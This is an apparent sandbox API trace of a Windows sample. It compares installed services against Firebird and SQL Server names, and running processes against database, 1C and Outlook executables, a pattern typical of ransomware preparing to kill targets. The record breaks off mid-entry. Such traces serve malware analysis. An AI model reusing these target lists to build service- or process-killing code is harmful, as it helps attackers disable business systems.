lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0151.093] lstrlenW (lpString="DcomLaunch") returned 10 [0151.094] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0151.094] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0151.094] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0151.094] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0151.094] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0151.094] lstrlenW (lpString="Dhcp") returned 4 [0151.094] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0151.094] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0151.094] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0151.094] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0151.094] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0151.094] lstrlenW (lpString="Dnscache") returned 8 [0151.094] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0151.094] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0151.094] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0151.094] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0151.094] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0151.094] lstrlenW (lpString="DPS") returned 3 [0151.094] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0151.094] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0151.094] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0151.094] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0151.094] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0151.094] lstrlenW (lpString="eventlog") returned 8 [0151.094] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0151.094] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0151.094] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0151.094] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0151.094] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0151.094] lstrlenW (lpString="EventSystem") returned 11 [0151.094] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0151.094] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0151.094] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0151.095] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0151.095] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0151.095] lstrlenW (lpString="gpsvc") returned 5 [0151.095] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0151.095] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0151.095] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0151.095] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0151.095] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0151.095] lstrlenW (lpString="iphlpsvc") returned 8 [0151.095] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0151.095] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0151.095] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0151.095] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0151.095] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0151.095] lstrlenW (lpString="LanmanServer") returned 12 [0151.095] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0151.095] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0151.095] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0151.095] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0151.095] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0151.095] lstrlenW (lpString="LanmanWorkstation") returned 17 [0151.095] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0151.095] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0151.095] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0151.095] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0151.095] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0151.095] lstrlenW (lpString="lmhosts") returned 7 [0151.095] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0151.095] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0151.095] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0151.096] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0151.096] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0151.096] lstrlenW (lpString="MMCSS") returned 5 [0151.096] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0151.096] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0151.096] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0151.096] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0151.096] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0151.096] lstrlenW (lpString="MpsSvc") returned 6 [0151.096] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0151.096] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0151.096] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0151.096] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0151.096] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0151.096] lstrlenW (lpString="Netman") returned 6 [0151.096] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0151.096] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0151.096] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0151.096] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0151.096] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0151.096] lstrlenW (lpString="netprofm") returned 8 [0151.096] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0151.096] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0151.096] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0151.096] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0151.096] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0151.096] lstrlenW (lpString="NlaSvc") returned 6 [0151.096] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0151.096] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0151.096] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0151.096] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0151.097] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0151.097] lstrlenW (lpString="nsi") returned 3 [0151.097] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0151.097] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0151.097] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0151.097] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0151.097] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0151.097] lstrlenW (lpString="PcaSvc") returned 6 [0151.097] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0151.097] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0151.097] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0151.097] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0151.097] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0151.097] lstrlenW (lpString="PlugPlay") returned 8 [0151.097] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0151.097] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0151.097] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0151.097] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0151.097] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0151.097] lstrlenW (lpString="Power") returned 5 [0151.097] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0151.097] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0151.097] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0151.097] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0151.097] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0151.097] lstrlenW (lpString="ProfSvc") returned 7 [0151.097] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0151.097] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0151.097] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0151.097] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0151.097] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0151.097] lstrlenW (lpString="RpcEptMapper") returned 12 [0151.097] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0151.098] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0151.098] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0151.098] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0151.098] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0151.098] lstrlenW (lpString="RpcSs") returned 5 [0151.098] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0151.098] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0151.098] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0151.098] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0151.098] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0151.098] lstrlenW (lpString="SamSs") returned 5 [0151.098] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0151.098] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0151.098] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0151.098] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0151.098] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0151.098] lstrlenW (lpString="Schedule") returned 8 [0151.098] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0151.098] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0151.098] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0151.098] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0151.098] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0151.098] lstrlenW (lpString="SENS") returned 4 [0151.098] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0151.098] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0151.098] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0151.098] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0151.098] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0151.098] lstrlenW (lpString="ShellHWDetection") returned 16 [0151.098] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0151.099] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0151.099] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0151.099] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0151.099] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0151.099] lstrlenW (lpString="Spooler") returned 7 [0151.099] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0151.099] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0151.099] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0151.099] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0151.099] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0151.099] lstrlenW (lpString="SysMain") returned 7 [0151.099] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0151.099] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0151.099] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0151.099] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0151.099] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0151.099] lstrlenW (lpString="Themes") returned 6 [0151.099] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0151.099] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0151.099] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0151.099] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0151.100] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0151.100] lstrlenW (lpString="TrkWks") returned 6 [0151.100] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0151.100] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0151.100] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0151.100] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0151.100] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0151.100] lstrlenW (lpString="UxSms") returned 5 [0151.100] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0151.100] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0151.100] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0151.100] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0151.100] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0151.100] lstrlenW (lpString="WdiServiceHost") returned 14 [0151.100] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0151.100] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0151.100] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0151.100] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0151.100] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0151.100] lstrlenW (lpString="WdiSystemHost") returned 13 [0151.100] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0151.100] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0151.100] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0151.100] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0151.100] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0151.100] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0151.100] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0151.100] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0151.100] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0151.100] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0151.100] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0151.100] lstrlenW (lpString="Winmgmt") returned 7 [0151.100] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0151.101] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0151.101] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0151.101] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0151.101] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0151.101] lstrlenW (lpString="WPDBusEnum") returned 10 [0151.101] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0151.101] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0151.101] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0151.101] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0151.101] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0151.101] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x433d178 | out: hHeap=0x630000) returned 1 [0151.101] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x328 [0151.103] Process32FirstW (in: hSnapshot=0x328, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0151.103] Process32NextW (in: hSnapshot=0x328, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x51, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0151.103] lstrlenW (lpString="System") returned 6 [0151.103] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0151.103] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0151.103] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0151.103] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0151.103] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0151.103] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0151.103] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0151.103] Process32NextW (in: hSnapshot=0x328, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0151.104] lstrlenW (lpString="smss.exe") returned 8 [0151.104] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0151.104] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0151.104] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0151.104] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0151.104] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0151.104] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0151.104] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0151.104] Process32NextW (in: hSnapshot=0x328, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x13c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0151.104] lstrlenW (lpString="csrss.exe") returned 9 [0151.104] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0151.104] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0151.104] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0151.104] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0151.104] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0151.104] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0151.105] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0151.105] Process32NextW (in: hSnapshot=0x328, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x13c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0151.105] lstrlenW (lpString="wininit.exe") returned 11 [0151.105] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0151.105] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0151.105] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0151.105] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0151.105] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0151.105] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0151.105] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0151.105] Process32NextW (in: hSnapshot=0x328, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0151.105] lstrlenW (lpString="csrss.exe") returned 9 [0151.105] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0151.105] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0151.105] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0151.105] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0151.105] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0151.106] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0151.106] Process32NextW (in: hSnapshot=0x328, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0151.106] lstrlenW (lpString="winlogon.exe") returned 12 [0151.106] Process32NextW (in: hSnapshot=0x328, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0151.106] lstrlenW (lpString="services.exe") returned 12 [0151.106] Process32NextW (in: hSnapshot=0x328, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0151.107] lstrlenW (lpString="lsass.exe") returned 9 [0151.107] Process32NextW (in: hSnapshot=0x328, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0151.107] lstrlenW (lpString="lsm.exe") returned 7 [0151.107] Process32NextW (in: hSnapshot=0x328, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0151.107] lstrlenW (lpString="svchost.exe") returned 11 [0151.107] Process32NextW (in: hSnapshot=0x328, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0151.108] lstrlenW (lpString="svchost.exe") returned 11 [0151.108] Process32NextW (in: hSnapshot=0x328, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0151.108] lstrlenW (lpString="svchost.exe") returned 11 [0151.108] Process32NextW (in: hSnapshot=0x328, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x324, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0151.108] lstrlenW (lpString="svchost.exe") returned 11 [0151.108] Process32NextW (in: hSnapshot=0x328, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2e, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0151.109] lstrlenW (lpString="svchost.exe") returned 11 [0151.109] Process32NextW (in: hSnapshot=0x328, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0151.109] lstrlenW (lpString="audiodg.exe") returned 11 [0151.109] Process32NextW (in: hSnapshot=0x328, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, 